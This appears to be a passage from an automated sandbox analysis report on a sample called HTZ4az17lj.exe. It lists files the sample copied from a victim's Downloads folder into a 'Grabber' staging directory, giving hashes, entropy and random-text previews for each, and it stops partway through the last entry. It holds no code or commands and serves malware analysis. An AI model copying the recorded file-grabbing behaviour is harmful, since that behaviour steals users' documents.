C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EEGWXUHVUG.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PIVFAGEAAV.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
